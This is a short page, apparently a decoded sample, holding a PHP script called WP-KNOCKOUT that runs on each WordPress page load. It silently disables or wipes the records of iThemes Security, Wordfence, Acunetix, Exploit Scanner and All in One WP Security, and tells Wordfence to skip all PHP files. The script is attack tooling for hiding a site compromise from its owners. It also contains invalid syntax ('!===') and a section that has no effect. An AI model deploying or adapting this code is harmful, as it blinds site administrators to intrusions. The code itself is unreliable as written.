PHP Decode

<?php 
//WP-KNOCKOUT by The X-C3LL 
// http://0verl0ad.blogspot.com 
 
add_action("wp_head", "knockout"); 
define("DB_PRE", $table_prefix); 
function knockout() { 
	//Kill iThemes Security 
	$o = get_option("itsec_file_change"); 
	if ($o !== FALSE) { 
		$o['enabled'] = FALSE; 
		$o['email'] = FALSE; 
		$o['notify_admin'] = FALSE; 
		update_option("itsec_file_change",$o); 
	} 
	//Kill WordFence 
	$con = mysql_connect(DB_HOST, DB_USER, DB_PASSWORD); 
	mysql_select_db(DB_NAME); 
	$query = "truncate ". DB_PRE ."wfIssues;"; 
	mysql_query($query); 
	$query = "delete from ". DB_PRE ."wfStatus where msg like '%SUM_ENDBAD%';"; 
	mysql_query($query); 
	$query = "update ". DB_PRE ."wfConfig set val = '*.php' where name = 'scan_exclude';"; 
	mysql_query($query); 
	//Kill Acunetix 
	$query = "truncate ". DB_PRE ."_wsd_plugin_scan;"; 
	mysql_query($query); 
	$query = "truncate ". DB_PRE ."_wsd_plugin_scans;"; 
	mysql_query($query); 
	//Kill Exploit Scanner 
	$o = get_option("exploitscanner_results"); 
	if ($o !=== FALSE){ 
		$o = ""; 
	} 
	$o = get_option("exploitscanner_diff_cache"); 
	if ($o !=== FALSE){ 
		$o = "0"; 
	} 
	//Kill All in One WordPress Security 
	$query = "truncate ". DB_PRE . "aiowps_global_meta;"; 
	mysql_query($query); 
} 
?>